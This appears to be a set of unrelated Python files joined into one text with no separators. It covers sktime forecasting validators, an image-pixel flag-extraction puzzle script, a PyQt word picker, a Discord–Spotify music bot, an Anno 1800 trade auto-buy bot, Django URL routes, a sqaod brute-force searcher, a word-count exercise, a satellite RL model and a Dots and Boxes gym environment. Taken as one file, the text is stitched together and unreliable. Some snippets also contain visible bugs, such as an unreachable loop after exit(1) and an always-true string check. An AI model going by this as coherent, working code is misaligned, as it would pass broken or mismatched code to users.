# -*- coding: utf-8 -*-
__all__ = [
    "check_y",
    "check_X",
    "check_y_X",
    "check_fh",
    "check_cv",
    "check_window_length",
    "check_step_length",
    "check_time_index",
    "check_equal_time_index",
    "check_alpha",
    "check_cutoffs",
    "check_scoring",
    "check_sp",
    "SUPPORTED_INDEX_TYPES",
]
__author__ = ["Markus Löning", "@big-o"]

import numpy as np
import pandas as pd

from sktime.utils.validation import is_int

SUPPORTED_INDEX_TYPES = (pd.Int64Index, pd.RangeIndex, pd.PeriodIndex, pd.DatetimeIndex)

def check_y_X(y, X=None, allow_empty=False, allow_constant=True):
    """Validate input data.

    Parameters
    ----------
    y : pd.Series
    X : pd.DataFrame, optional (default=None)
    allow_empty : bool, optional (default=False)
        If True, empty `y` does not raise an error.
    allow_constant : bool, optional (default=True)
        If True, constant `y` does not raise an error.

    Raises
    ------
    ValueError
        If y or X are invalid inputs
    """
    y = check_y(y, allow_empty=allow_empty, allow_constant=allow_constant)

    if X is not None:
        X = check_X(X)
        check_equal_time_index(y, X)

    return y, X

def check_y(y, allow_empty=False, allow_constant=True):
    """Validate input data.
    Parameters
    ----------
    y : pd.Series
    allow_empty : bool, optional (default=False)
        If True, empty `y` raises an error.
    allow_constant : bool, optional (default=True)
        If True, constant `y` does not raise an error.

    Returns
    -------
    y : pd.Series

    Raises
    ------
    ValueError, TypeError
        If y is an invalid input
    """
    # Check if pandas series or numpy array
    if not isinstance(y, pd.Series):
        raise TypeError(f"`y` must be a pandas Series, but found type: {type(y)}")

    if not allow_constant:
        if np.all(y == y.iloc[0]):
            raise ValueError("All values of `y` are the same.")

    # check time index
    check_time_index(y.index, allow_empty=allow_empty)
    return y

def check_cv(cv):
    """
    Check CV generators.

    Parameters
    ----------
    cv : CV generator

    Raises
    ------
    ValueError
        if cv does not have the required attributes.
    """
    from sktime.forecasting.model_selection._split import BaseSplitter

    if not isinstance(cv, BaseSplitter):
        raise TypeError(f"`cv` is not an instance of {BaseSplitter}")
    return cv

def check_time_index(index, allow_empty=False):
    """Check time index.

    Parameters
    ----------
    index : pd.Index or np.array
        Time index
    allow_empty : bool, optional (default=False)
        If True, empty `index` raises an error.

    Returns
    -------
    time_index : pd.Index
        Validated time index
    """
    if isinstance(index, np.ndarray):
        index = pd.Index(index)

    # period or datetime index are not support yet
    if not type(index) in SUPPORTED_INDEX_TYPES:
        raise NotImplementedError(
            f"{type(index)} is not supported, use "
            f"one of {SUPPORTED_INDEX_TYPES} instead."
        )

    # check time index is ordered in time
    if not index.is_monotonic:
        raise ValueError(
            f"The (time) index must be sorted (monotonically increasing), "
            f"but found: {index}"
        )

    # check that series is not empty
    if not allow_empty and len(index) < 1:
        raise ValueError(
            f"`index` must contain at least some values, but found "
            f"empty index: {index}."
        )

    return index

def check_X(X):
    """Validate input data.

    Parameters
    ----------
    X : pandas.DataFrame

    Returns
    -------
    X : pandas.DataFrame

    Raises
    ------
    ValueError
        If y is an invalid input
    """
    if not isinstance(X, pd.DataFrame):
        raise ValueError(f"`X` must a pd.DataFrame, but found: {type(X)}")
    return X

def check_window_length(window_length):
    """Validate window length"""
    if window_length is not None:
        if not is_int(window_length) or window_length < 1:
            raise ValueError(
                f"`window_length_` must be a positive integer >= 1 or None, "
                f"but found: {window_length}"
            )
    return window_length

def check_step_length(step_length):
    """Validate window length"""
    if step_length is not None:
        if not is_int(step_length) or step_length < 1:
            raise ValueError(
                f"`step_length` must be a positive integer >= 1 or None, "
                f"but found: {step_length}"
            )
    return step_length

def check_sp(sp):
    """Validate seasonal periodicity.

    Parameters
    ----------
    sp : int
        Seasonal periodicity

    Returns
    -------
    sp : int
        Validated seasonal periodicity
    """
    if sp is not None:
        if not is_int(sp) or sp < 1:
            raise ValueError("`sp` must be a positive integer >= 1 or None")
    return sp

def check_fh(fh, enforce_relative=False):
    """Validate forecasting horizon.

    Parameters
    ----------
    fh : int, list, np.array, pd.Index or ForecastingHorizon
        Forecasting horizon specifying the time points to predict.
    enforce_relative : bool, optional (default=False)
        If True, checks if fh is relative.

    Returns
    -------
    fh : ForecastingHorizon
        Validated forecasting horizon.
    """
    # Convert to ForecastingHorizon
    from sktime.forecasting.base import ForecastingHorizon

    if not isinstance(fh, ForecastingHorizon):
        fh = ForecastingHorizon(fh, is_relative=True)

    # Check if non-empty, note we check for empty values here, rather than
    # during construction of ForecastingHorizon because ForecastingHorizon
    # can be empty in some cases, but users should not create forecasting horizons
    # with no values
    if len(fh) == 0:
        raise ValueError(f"`fh` must not be empty, but found: {fh}")

    if enforce_relative and not fh.is_relative:
        raise ValueError("`fh` must be relative, but found absolute `fh`")

    return fh

def check_equal_time_index(*ys):
    """Check that time series have the same (time) indices.

    Parameters
    ----------
    ys : pd.Series or pd.DataFrame
        One or more time series

    Raises
    ------
    ValueError
        If (time) indices are not the same
    """

    # only validate indices if data is passed as pd.Series
    first_index = ys[0].index
    check_time_index(first_index)

    for y in ys[1:]:
        check_time_index(y.index)

        if not first_index.equals(y.index):
            raise ValueError("Some (time) indices are not the same.")

def check_alpha(alpha):
    """Check that a confidence level alpha (or list of alphas) is valid.
    All alpha values must lie in the open interval (0, 1).
    Parameters
    ----------
    alpha : float, list of float
    Raises
    ------
    ValueError
        If alpha is outside the range (0, 1).
    """
    # check type
    if isinstance(alpha, list):
        if not all(isinstance(a, float) for a in alpha):
            raise ValueError(
                "When `alpha` is passed as a list, " "it must be a list of floats"
            )

    elif isinstance(alpha, float):
        alpha = [alpha]  # make iterable

    # check range
    for a in alpha:
        if not 0 < a < 1:
            raise ValueError(
                f"`alpha` must lie in the open interval (0, 1), " f"but found: {a}."
            )

    return alpha

def check_cutoffs(cutoffs):
    if not isinstance(cutoffs, (np.ndarray, pd.Index)):
        raise ValueError(
            f"`cutoffs` must be a np.array or pd.Index, " f"but found: {type(cutoffs)}"
        )
    assert np.issubdtype(cutoffs.dtype, np.integer)

    if len(cutoffs) == 0:
        raise ValueError("Found empty `cutoff` array")

    return np.sort(cutoffs)

def check_scoring(scoring):
    from sktime.performance_metrics.forecasting._classes import MetricFunctionWrapper
    from sktime.performance_metrics.forecasting import sMAPE

    if scoring is None:
        return sMAPE()

    if not callable(scoring):
        raise TypeError("`scoring` must be a callable object")

    allowed_base_class = MetricFunctionWrapper
    if not isinstance(scoring, allowed_base_class):
        raise TypeError(f"`scoring` must inherit from `{allowed_base_class.__name__}`")

    return scoring


from PIL import Image
i = Image.open("Rock_n_Roll.jpg")

pixels = i.load() # this is not a list, nor is it list()'able
width, height = i.size

all_pixels = []
for y in range(height):
    row = []
    for x in range(width):
        cpixel = pixels[x, y]
        row.append(cpixel)

    all_pixels.append(row)

s= ""

for r in all_pixels:
    for p in r:
        for v in p:
            if 64 < v < 123:
                s = s + chr(v)
s2 =""
i = 630932
while i < len(s)-1:
    s2 = s2 + s[i]
    i += 14
print(s2)
exit(1)
g=0
while g > -1:
    f = s.find("f", g)
    l = s.find("l", f)
    a = s.find("a",l)
    g = s.find("g",a)
    if l-f == a-l and l-f == g-a:
        print(s[630932])


from PyQt5 import QtWidgets, uic, QtGui
from PyQt5.QtWidgets import *
import random
import sys
import os

class Ui(QtWidgets.QMainWindow):
    def __init__(self):
        super(Ui, self).__init__()
        uic.loadUi('plugins\\main.ui', self)
        self.setWindowTitle("Random Word")
        self.setWindowIcon(QtGui.QIcon('plugins\\main.ico'))

        self.wordList = []

        self.button = self.findChild(QtWidgets.QPushButton, 'random_btn') # Find the button
        self.button.clicked.connect(self.printButtonPressed)
        self.button2 = self.findChild(QtWidgets.QPushButton, 'load_btn') # Find the button
        self.button2.clicked.connect(self.getfiles)
        self.button3 = self.findChild(QtWidgets.QPushButton, 'save_btn') # Find the button
        self.button3.clicked.connect(self.savefiles)

        self.separate_options = self.findChild(QtWidgets.QComboBox, 'comboBox')

        self.input = self.findChild(QtWidgets.QTextEdit, 'word_holder')
        self.showWord = self.findChild(QtWidgets.QLabel, 'word_selected')
        self.showWord.setStyleSheet("color: red;")

        self.show()

    def separate_words(self, separator):
        self.wordList = list(self.input.toPlainText().split(separator))
        randomIndex = random.randint(0, len(self.wordList) - 1)
        self.showWord.setText(str(self.wordList[randomIndex]))

    def printButtonPressed(self):
        if self.separate_options.currentText() == 'Comma (,)':
            self.separate_words(',')
        elif self.separate_options.currentText() == 'Space ( )':
            self.separate_words(' ')
        elif self.separate_options.currentText() == 'Dot (.)':
            self.separate_words('.')

    def getfiles(self):
        home_dir = os.path.abspath(os.getcwd())
        fname = QFileDialog.getOpenFileName(self, 'Open file', home_dir)

        if fname[0]:
            f = open(fname[0], 'r', encoding='UTF-8')

            with f:
                try:
                     data = f.read()
                except:
                    data = f.read()
                self.input.setText(data)

    def savefiles(self):
        home_dir = os.path.abspath(os.getcwd())
        fname = QFileDialog.getSaveFileName(self, 'Save file', home_dir, '.txt')

        if fname[0]:
            f = open(fname[0]+'.txt', 'w', encoding='UTF-8')

            with f:
                f.write(self.input.toPlainText())

def main(original=Ui):
	app = QtWidgets.QApplication(sys.argv)
	window = original()
	app.exec_()

if __name__ == '__main__':
	main()


import json

import discord
import ffmpeg
import spotipy
from spotipy import SpotifyClientCredentials, SpotifyOAuth
import asyncio
import subprocess

import Play

with open('source.json') as file:
    source = json.load(file)
    ffpeg_path = source['files_path'][0]['FFmpegPCMAudio']
    username = source['spotify'][0]['username']
    clientID = source['spotify'][0]['clientID']
    clientSecret = source['spotify'][0]['clientSecret']
    redirect_url = source['spotify'][0]['redirect_url']

oauth_object = spotipy.SpotifyOAuth(clientID, clientSecret, redirect_url)
token_dict = oauth_object.get_access_token()
token = token_dict['access_token']
spotifyObject = spotipy.Spotify(auth=token)
user_name = spotifyObject.current_user()

sp = spotipy.Spotify(auth_manager=oauth_object)

FFMPEG_OPTIONS = {
    'before_options': '-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5',
    'options': '-vn'
}

async def ssearch(ctx, *url):
    search = ""
    for i in url:
        search = str(search) + i + " "
    search_song = search
    results = spotifyObject.search(search_song, 1, 0, "track")
    songs_dict = results['tracks']
    song_items = songs_dict['items']
    song = song_items[0]['external_urls']['spotify']
    await ctx.send("Ссылка на песню Spotify: " + song)

async def splay(ctx, *name):
    voice_channel = ctx.guild.voice_client
    if voice_channel is None:
        vc = await ctx.message.author.voice.channel.connect()
        await choose(ctx, vc, *name)
    else:
        if ctx.guild.voice_client.channel == ctx.message.author.voice.channel:
            vc = voice_channel
            await choose(ctx, vc, *name)
        else:
            await ctx.send('Бот находится в другом канале')

async def search_url(ctx, url, vc):
    new_song = url.split("/")[-1]
    track_id = new_song
    track_metadata = sp.track(track_id)
    # получение ссылки на аудиофайл
    audio_url = track_metadata['name']
    await Play.search_name(ctx, audio_url, vc)
    #vc.play(discord.FFmpegPCMAudio(executable=ffpeg_path, source=audio_url, **FFMPEG_OPTIONS))
    #await ctx.send("Проигрываю песню: " + " " + "(" + url + ")")

async def search_name(ctx, name, vc):
    try:
        search_song = name
        results = spotifyObject.search(search_song, 1, 0, "track")
        songs_dict = results['tracks']
        song_items = songs_dict['items']
        song = song_items[0]['external_urls']['spotify']
        await search_url(ctx, song, vc)
    except:
        await ctx.send("По вашему запросу ничего не найдено")
        return

async def choose(ctx, vc, *name):
    if vc.is_playing():
        await ctx.send(f'{ctx.message.author.mention}, очередь в разработке')
        return
    else:
        if "." and "/" in name[0]:
            await search_url(ctx, name[0], vc)
        else:
            search = ""
            for i in name:
                search = str(search) + i + " "
            print(search)
            await search_name(ctx, search, vc)


from operator import itemgetter
from anno1800.anno1800 import anno1800
import pyautogui as pag
import multiprocessing as mltprocess
import keyboard
import time
import os
import argparse
from logger import log

# from anno1800.store import store
# pyautogui.move(200, 200, 2)

class event:
    def __init__(self, flag=False):
        self.flag = flag

    def set(self, flag):
        self.flag = flag

    def get(self):
        return self.flag

    def toggle(self):
        if self.flag:
            self.flag = False
        else:
            self.flag = True

def auto_buy(items, type_store, skip_trade_button=True):
    from anno1800.anno1800 import anno1800
    from anno1800.detect import detect
    work_done = event()
    log.debug('items=[' + ','.join(items) + '] | type_store=' + type_store)

    anno1800 = anno1800()

    list_items = anno1800.format_items(items, type_store)

    det_items = detect(list_items
                    , anno1800.stores[type_store].region['list_items'], threshold_conf=0.90, delay=0.2)
    det_store = detect(anno1800.stores[type_store].image
                    , anno1800.stores[type_store].region['id'])
    det_state_no_inventory = detect(anno1800.stores[type_store].image_states['no_inventory']
                                , anno1800.stores[type_store].region['no_inventory'])
    det_state_out_of_stock = detect(anno1800.stores[type_store].image_states['out_of_stock']
                                , anno1800.stores[type_store].region['out_of_stock'])
    det_ship_trade_button = detect(anno1800.facilities['ship'].image_states['trade']
                                , anno1800.facilities['ship'].region['trade'])

    while(True):
        if work_done.get():
            break
        if det_ship_trade_button.find() or skip_trade_button:
            log.debug('detected the button of the ship trade')
            time.sleep(0.2)
            if not skip_trade_button:
                anno1800.windows.click_button('ship', 'trade')
            anno1800.windows.click_button(type_store, 'tab_trade_item')
            log.debug('trying to detect...')
            while(True):
                if not det_state_no_inventory.find():
                    if not det_state_out_of_stock.find():
                        dets = det_items.get_coords()
                        if len(dets) > 0:
                            dets.sort(key=itemgetter(2, 1), reverse=True)
                            for det in dets:
                                log.debug(det)
                                anno1800.windows.click(det[1:], delay=0.0)
                                anno1800.windows.click_button(type_store, 'trade_done', delay=0.1)
                            dets = []
                        anno1800.windows.click_button(type_store, 'dice')
                    else:
                        log.info('detected out of stock')
                        anno1800.windows.click_button(type_store, 'exit')
                        work_done.set(True)
                        break
                else:
                    log.info('detected no inventory')
                    anno1800.windows.click_button(type_store, 'exit')
                    work_done.set(True)
                    break
        else:
            log.debug('waiting for the button of the ship trade...')
            time.sleep(1)
    log.debug('process done')
    return

class multiprocess:
    def __init__(self, args, daemon=True):
        self.flag_started = False
        self.flag_dead = False
        self.name = args[0]
        self.args = args[1:]
        self.process = mltprocess.Process(target=auto_buy
                                        , name=self.name
                                        , args=self.args
                                        , daemon=daemon)
        log.debug('created the process: Process=' + self.name)

    def is_alive_c(self):
        return self.process.is_alive()

    def is_dead(self):
        return self.flag_dead

    def is_started(self):
        return self.flag_started

    def start(self):
        if not self.process.is_alive():
            log.debug('starting the process: Process=' + self.name)
            self.process.start()
            self.flag_started = True

    def kill(self):
        if self.process.is_alive():
            log.debug('stopping the process: Process=' + self.name)
            self.process.kill()
            self.process.join()
            self.flag_dead = True

if __name__ == '__main__':
    # initializing a program
    parser = argparse.ArgumentParser()
    parser.add_argument('--debug', action='store_true', help='set the level of logging', default=False)
    opt = parser.parse_args()
    log.setLevel(10 if opt.debug else 20) # 10:debug | 20:info | 30:warning | 40:error | 50:critical
    if opt.debug == 1:
        print(opt, '\n')
    log.info('initialized the program')

    escape = event()
    # user interfaces
    while True:
        escape.set(False)
        # input operation
        print('\nSyntax: {item1},{item2}... <blank> {target} [exit:Exit program]')
        operation = input('> input the operation: ')

        # processing exit operation
        if operation == 'exit':
            log.info('Program will exit')
            break

        # processing operation
        list_operation = operation.split(' ')
        if isinstance(list_operation, list) and len(list_operation) >= 2:
            items = list_operation[0].split(',')
            target = list_operation[1]
            log.debug('operation: items=[' + list_operation[0] + '] | target=' + list_operation[1])
        else:
            log.error('invalid syntax for operation: Operation=' + operation)
            continue

        # check all symbol in item operation
        # check valid item with registered items as anno1800()
        if not items[0] == '*':
            for item in items:
                if not anno1800.is_item(None, item):
                    log.error('invalid the item defined as operation: item=' + item)
                    continue

        # check valid store with registered stores as anno1800()
        # TO-DO: must be separated a store and a target
        if not anno1800.is_store(None, target):
            log.error('invalid the store defined as operation: store=' + target)
            continue

        while True:
            if escape.get():
                process.kill()
                log.info('Terminated the operation')
                break
            # create a process and register a hotkey
            process = multiprocess(['auto_buy', items, target])
            keyboard.add_hotkey('f1', lambda: process.start())
            keyboard.add_hotkey('f5', lambda: process.kill())
            keyboard.add_hotkey('f9', lambda: escape.set(True))
            log.info('Press the key: [F1]:Start | [F5]:Stop | [F9]:Exit')
            time.sleep(2)
            while True:
                try:
                    if escape.get():
                        break
                    if (process.is_alive_c() == False) and process.is_started():
                        try:
                            log.debug('try to kill the process: is_alive_c=' + process.is_alive_c() + " | is_started=" + process.is_started())
                            process.kill()
                        except:
                            log.warning('cannot terminate the process: is_alive_c=' + process.is_alive_c() + " | is_started=" + process.is_started())

                        log.info('Work done')
                        break
                except:
                    log.warning('Work done with exception')
                    break

            # t4_guard,t4_propeller equipments
            # t4_attack_abraheem,t4_attack_roo,t4_harbor_speed,t4_investor people


from django.contrib import admin
from django.urls import path, include
from django.contrib.auth import views as authv_views

from . import views as user_views

urlpatterns = [

    path('index/', user_views.home, name='home'),
    path('', user_views.home, name='home'),
    path('register/', user_views.register, name='register'),
    path('login/', user_views.login, name='login'),
    path('logout/', user_views.logout, name='logout'),
    path('user/books/', user_views.all_user_books, name='all_user_books'),
    path('user/archive/', user_views.user_archive, name="user_archive"),
    path('<str:username>/home/', user_views.user_home, name='user_home'),
    path('books/<str:category>/', user_views.book_cat_list, name='book_cat_list'),
    path('books/view/<int:book_id>/', user_views.per_book, name="per_book"),
    path('book/add/', user_views.add_book, name='add_book')

    #path('<int:question_id>/', views.details, name='detail'),

]


from __future__ import print_function
import numpy as np
import sqaod
from sqaod.common.dense_graph_bf_searcher_base import DenseGraphBFSearcherBase
from sqaod.common import docstring
from . import cuda_dg_bf_searcher as cext
from . import device

class DenseGraphBFSearcher(DenseGraphBFSearcherBase) :

    def __init__(self, W, optimize, dtype, prefdict) :
        self._cobj = cext.new(dtype)
        cext.assign_device(self._cobj, device.active_device._cobj, dtype)
        self._device = device.active_device
        DenseGraphBFSearcherBase.__init__(self, cext, dtype, W, optimize, prefdict)

def dense_graph_bf_searcher(W = None, optimize = sqaod.minimize, dtype=np.float64, **prefs) :
    """ factory function for sqaod.cuda.DenseGraphAnnealer.

    Args:
      numpy.ndarray : QUBO
      optimize : specify optimize direction, `sqaod.maximize or sqaod.minimize <preference.html#sqaod-maximize-sqaod-minimize>`_.
      prefs : `preference <preference.html>`_ as \*\*kwargs
    Returns:
      sqaod.cuda.DenseGraphBFSearcher: brute-force searcher instance
    """
    return DenseGraphBFSearcher(W, optimize, dtype, prefs)

# inherit docstring from interface
docstring.inherit(DenseGraphBFSearcher, sqaod.py.DenseGraphBFSearcher)

if __name__ == '__main__' :

    np.random.seed(0)
    dtype = np.float32
    N = 8
    W = np.array([[-32,4,4,4,4,4,4,4],
                  [4,-32,4,4,4,4,4,4],
                  [4,4,-32,4,4,4,4,4],
                  [4,4,4,-32,4,4,4,4],
                  [4,4,4,4,-32,4,4,4],
                  [4,4,4,4,4,-32,4,4],
                  [4,4,4,4,4,4,-32,4],
                  [4,4,4,4,4,4,4,-32]])

    N = 20
    W = sqaod.generate_random_symmetric_W(N, -0.5, 0.5, dtype);
    bf = dense_graph_bf_searcher(W, sqaod.minimize, dtype)
    # bf.set_preferences(tile_size = 256)

    import time

    start = time.time()
    bf.search()
    end = time.time()
    print(end - start)

    x = bf.get_x()
    E = bf.get_E()
    print(E)
    print(x)

#    import sqaod.py.formulas
#    E = np.empty((1), dtype)
#    for bits in x :
#        print sqaod.py.formulas.dense_graph_calculate_E(W, bits)


'''
Write a program to compute the frequency of the words from the input. The output should output after sorting the key alphanumerically.
eg. New to Python or choosing between Python 2 and Python 3? Read Python 2 or Python 3.
OutPut:
2:2
3.:1
3?:1
New:1
Python:5
Read:1
and:1
between:1
choosing:1
or:2
to:1
'''

freq = {}

line = input("Enter the sentence:")

for word in line.split(' '):
    freq[word] = freq.get(word,0)+1

words = list(freq.keys())
words.sort()

for w in words:
    print (w,freq[w])


"""Module for modeling a satellite.

The main aim of this module is model the satellite behaviour.
This is not the agent of a RL problem.
A better solution for modeling the environment described in a RL problem
is split that in two submodules. One that model the environment like rain
user capacity demand etc.
The other (this file) modeling the satellite behaviour providing to the agent
the solution space, the satellite state and other information for computing
the optimization function.
"""

import numpy as np
import model.beam as beam
import model.user as usr

class Satellite(object):
    """docstring for Satellite."""

    # _beams = []

    def __init__(self, beams):
        """Init for Satellite."""
        super(Satellite, self).__init__()
        self._num_beams = beams
        self._beams = [beam.Beam() for _ in range(beams)]
        self._to_assign = np.random.randint(self._num_beams)
        self._n_actions = 1 * beams + 1
        self._done = False
        self._info = {}
        self._user_generation = [usr.UserGenerationRate(np.random.randint(3))
                                 for i in range(beams)]
        self._users = int(0)
        self._reward = 0
        self._cnt = 0
        self._max_users = 24 * self._num_beams
        # self._tot_pow = 61
        # self._state = [61 for _ in range(beams)]
        # self._state.append(self._tot_pow)
        # self._demand_vector = []

    def step(self, action):
        """Apply the action to the satellite."""
        # user = usr.User()
        # time = np.random.poisson(3)
        observable = np.zeros((self._num_beams, 2))
        reward = 0
        self._done = False
        self._reward = 0

        in_service = 0
        in_wait = 0
        for i in range(self._num_beams):
            state, _, info = self._beams[i].step(-1)
            # observable[i][0] = 0 if state[0] == 0 else 1
            observable[i][0] = state[0]
            observable[i][1] = len(np.argwhere(state[1:] > -1))
            in_wait += state[0]
            in_service += len(np.argwhere(state[1:] > -1))

        if action != self._num_beams:
            if in_service < self._max_users:

                in_wait = np.zeros(self._num_beams)
                in_service = np.zeros(self._num_beams)

                for i in range(self._num_beams):
                    # print("Beam: {}".format(i))
                    if (i == action):
                        state, reward, info = self._beams[i].step(0)
                    else:
                        state, _, _ = self._beams[i].step(-1)
                    # observable[i][0] = 0 if state[0] == 0 else 1
                    observable[i][0] = state[0]
                    observable[i][1] = len(np.argwhere(state[1:] > -1))
                    in_service[i] = len(np.argwhere(state[1:] > -1))
                    in_wait[i] = state[0]

                self._info = {"in_wait": in_wait}

                if reward < 0:
                    self._done = True
                    self._reward = -3
                else:
                    # self._reward = 0.1
                    """if sum(in_service + in_wait) > 0:
                        if sum(in_service + in_wait) < 9 * self._num_beams:
                            self._reward = sum(in_service) / sum(in_service + in_wait)
                        else:
                            self._reward = sum(in_service) / (9 * self._num_beams)
                    else:
                        self._reward = 0
                    # self._reward = sum(in_service) / (12 * self._num_beams)"""
                    self._reward = 0.1

                # if 0 == action:
                #     self._reward = 1
                # else:
                #     self._reward = 0
            else:
                return observable, -2, True, self._info
        else:
            self._done = True

            in_wait = np.zeros(self._num_beams)
            in_service = np.zeros(self._num_beams)

            for i in range(self._num_beams):
                state_2, _, info = self._beams[i].step(-1)
                # observable[i][0] = 0 if state_2[0] == 0 else 1
                observable[i][0] = state_2[0]
                observable[i][1] = len(np.argwhere(state_2[1:] > -1))
                in_wait[i] = state_2[0]
                in_service[i] = len(np.argwhere(state_2[1:] > -1))

            self._info = {"in_wait": in_wait}

            # print("User in service: {}".format(sum(in_service)))
            # print(sum(in_service + in_wait))
            if sum(in_service + in_wait) > 0:
                if sum(in_service + in_wait) < self._max_users:
                    self._reward = sum(in_service) / sum(in_service + in_wait)
                else:
                    self._reward = sum(in_service) / self._max_users
            else:
                self._reward = 0
            # print("Associated reward: {}".format(self._reward))"""

            # self._reward = 0

        return observable, self._reward, self._done, self._info

    def advance(self):
        """Advane one time step."""
        self._to_assign = np.random.randint(self._num_beams)
        self._users = self._user_generation[self._to_assign].step()
        # self._users = np.random.randint(2) + 1

        # for i in range(self._num_beams):
        #     self._beams[i].advance()

        for _ in range(self._users):
        # if self._to_assign != self._num_beams:
            self._beams[self._to_assign].add_user()

        for i in range(self._num_beams):
            self._beams[i].advance()
        return self.state()

    # def random_state(self):
        # for i in range(self._num_beams):
            # self._beams[i].random_state()

    def random_action(self):
        """Get a random action."""
        return np.random.randint(self._n_actions)

    def action_space(self):
        """Get the action space."""
        actions = []

        for i in range(self._n_actions):
            actions.append(i)

        return actions

    def state(self):
        """Return the state of the satellite."""
        observable = np.zeros((self._num_beams, 2))

        for i in range(self._num_beams):
            state = self._beams[i].state()
            # observable[i][0] = 0 if state[0] == 0 else 1
            observable[i][0] = state[0]
            observable[i][1] = len(np.argwhere(state[1:] > -1))

        return observable

    # def action_space(self):
    #     """Get the action state for the satellite."""
    #     actions = [self._beams[i].action_space()
    #                for i in range(len(self._beams))]
    #     return actions

    """def reward(self):
        Return the reward for the given action
        demand = self.get_demand()
        offered = self.calculate_offered()
        # Eucledean norm to calculate the distance between the vecors/matricies
        reward = np.sqrt(((offered - demand)**2).sum())
        return reward"""


import pygame
import gym
import itertools
import random

class DotsAndBoxesPolicy:
    def __init__(self, q_value_function):
        self._q_value_function = q_value_function
        return

    def next_action(self, state, action_space):
        raise NotImplementedError()

class DotsAndBoxesRandomPolicy(DotsAndBoxesPolicy):
    """
    Returns a random choice of action space
    """
    def next_action(self, state, action_space):
        return random.sample(action_space, 1)[0]

class DotsAndBoxesMaxIfKnownPolicy(DotsAndBoxesPolicy):
    """
    Return an action with maximum reward if state is known.
    Return a random action in other case.
    """
    def next_action(self, state, action_space):
        if self._q_value_function.contains(state):
            action = max(action_space, key=lambda a: self._q_value_function.get(state, a))
        else:
            action = random.sample(action_space, 1)[0]
        return action

class DotsAndBoxes(gym.Env):
    class Box:
        """
        A Box is the object you want to capture more of to win the game. It has four corners (Nodes) and four sides
        which connect the Nodes.
        Whenever the four sides of the box are filled its "control" is handed to the last player to introduce a new
        side.
        """

        def __init__(self, position, corners):
            assert len(corners) == 4, "Each box has 4 corners"
            self.position = position
            self.corners = corners
            self.sides = set()
            self.controller = 0
            for c in corners:
                c.corner_to(self)

        def new_side(self, u, v, player):
            if u.index > v.index:
                self.sides.add((u, v))
            else:
                self.sides.add((v, u))

            if len(self.sides) == 4:
                self.controller = player

        def get_controller(self):
            return self.controller

    class Node:
        """
        A Node is one of the dots connected by edges. They are the corner of the Boxes.
        """

        def __init__(self, position, index):
            self.index = index
            self.position = position
            self.connected_nodes = set()
            self.boxes = set()

        def corner_to(self, box):
            self.boxes.add(box)
            assert len(self.boxes) <= 4, "Cannot have more than 4 boxes connected to a corner"

        def connect_to(self, node, player):
            self.connected_nodes.add(node)
            for b in self.boxes.intersection(node.boxes):
                b.new_side(self, node, player)

            if not node.is_connected(self):
                node.connect_to(self, player)

        def is_connected(self, node):
            return node in self.connected_nodes

        def __str__(self):
            return str(self.position)

    metadata = {
        'render.modes': ['human', 'rgb_array'],
        'video.frames_per_second': 50
    }

    def __init__(self, size=3, policy=None):

        self.n = (size + 1) * (size + 1)
        self.size = size
        self.nodes = []
        self.boxes = []
        self.done = False
        self.action_spaces = set()
        self.policy = policy
        self.reset()

        # Rendering variables
        self.screen_width = 640
        self.screen_height = 480
        self.screen = None
        self.font = None
        self.margin_size = 40
        self.display_size = min(self.screen_height - self.margin_size * 2, self.screen_width - self.margin_size * 2)
        self.box_step = self.display_size // self.size

    def step(self, action):
        """ Executes a selected action

        Args:
            action: A tuple of positions. A position is a tuple indicating the node by position, (x, y) indicating
            the nodes to connect
        Returns:
            observation (object): Agent's observation of the current environment.
            reward (float) : amount of reward returned after previous action
            done (bool): whether the episode has ended, in which case further step() calls will return undefined results
            info (dict): contains auxiliary diagnostic information (helpful for debugging, and sometimes learning)
        """
        player_1_old_points = self._player_points(1)
        player_2_old_points = self._player_points(2)

        if not self._player_pick(1, action):
            self._player2()

        player_1_points = self._player_points(1)
        player_2_points = self._player_points(2)
        total_boxes = self.size * self.size
        self.done = max(player_1_points, player_2_points) > total_boxes//2 \
                    or player_1_points + player_2_points == total_boxes

        reward = (player_1_points - player_1_old_points) - (player_2_points - player_2_old_points)
        if self.done:
            if player_1_points > player_2_points:
                reward += total_boxes
            elif player_1_points < player_2_points:
                reward -= total_boxes

        return self._get_current_observation(), reward, self.done, None

    def _player2(self):
        new_point = True
        while new_point and len(self.action_spaces) > 0:
            state = self._get_current_observation()
            action = self.policy.next_action(state, self.action_spaces)
            new_point = self._player_pick(2, action)

    def _player_pick(self, player, action):
        old_player_points = self._player_points(player)
        assert not self.done
        pos_i = action[0]
        pos_j = action[1]

        assert abs(pos_i[0] - pos_j[0]) + abs(pos_i[1] - pos_j[1]) == 1, "Nodes are not adjacent"

        node_i = self.nodes[pos_i[0]][pos_i[1]]
        node_j = self.nodes[pos_j[0]][pos_j[1]]

        assert not node_i.is_connected(node_j), "The edge already exists"

        node_i.connect_to(node_j, player)
        if node_j.index > node_i.index:
            self.action_spaces.remove((node_i.position, node_j.position))
        else:
            self.action_spaces.remove((node_j.position, node_i.position))

        new_player_points = self._player_points(player)
        return old_player_points < new_player_points

    def _player_points(self, player):
        return len([1 for b in itertools.chain.from_iterable(self.boxes) if b.get_controller() == player])

    def _get_current_observation(self):
        get_edges = lambda u: ((u.position, v.position) for v in u.connected_nodes if v.index > u.index)

        return list(itertools.chain.from_iterable(map(get_edges, itertools.chain.from_iterable(self.nodes))))

    def render(self, mode='human'):

        # PyGame screen
        BLACK = (0, 0, 0)
        WHITE = (255, 255, 255)
        GREEN = (0, 255, 0)
        RED = (255, 0, 0)

        if self.screen is None:
            pygame.init()
            pygame.font.init()
            self.screen = pygame.display.set_mode((self.screen_width, self.screen_height), 0, 32)
            self.font = pygame.font.Font('freesansbold.ttf', 16)
            pygame.display.set_caption("Markov Dots and Boxes")

        self.screen.fill(BLACK)

        for node in itertools.chain.from_iterable(self.nodes):
            n_s_pos = self._get_node_screen_position(node.position)
            for other_node in node.connected_nodes:
                if other_node.index < node.index:
                    pass
                on_s_pos = self._get_node_screen_position(other_node.position)
                pygame.draw.line(self.screen, GREEN, n_s_pos, on_s_pos, width=1)

            pygame.draw.circle(self.screen, RED, n_s_pos, 5, width=5)
            text = self.font.render('({},{})'.format(node.position[0], node.position[1]), True, WHITE, BLACK)
            self.screen.blit(text, (n_s_pos[0] - 16, n_s_pos[1] + 10))

        for box in itertools.chain.from_iterable(self.boxes):
            text = self.font.render(str(box.get_controller()), True, WHITE, BLACK)
            self.screen.blit(text, self._get_box_screen_position(box.position))

        pygame.display.update()

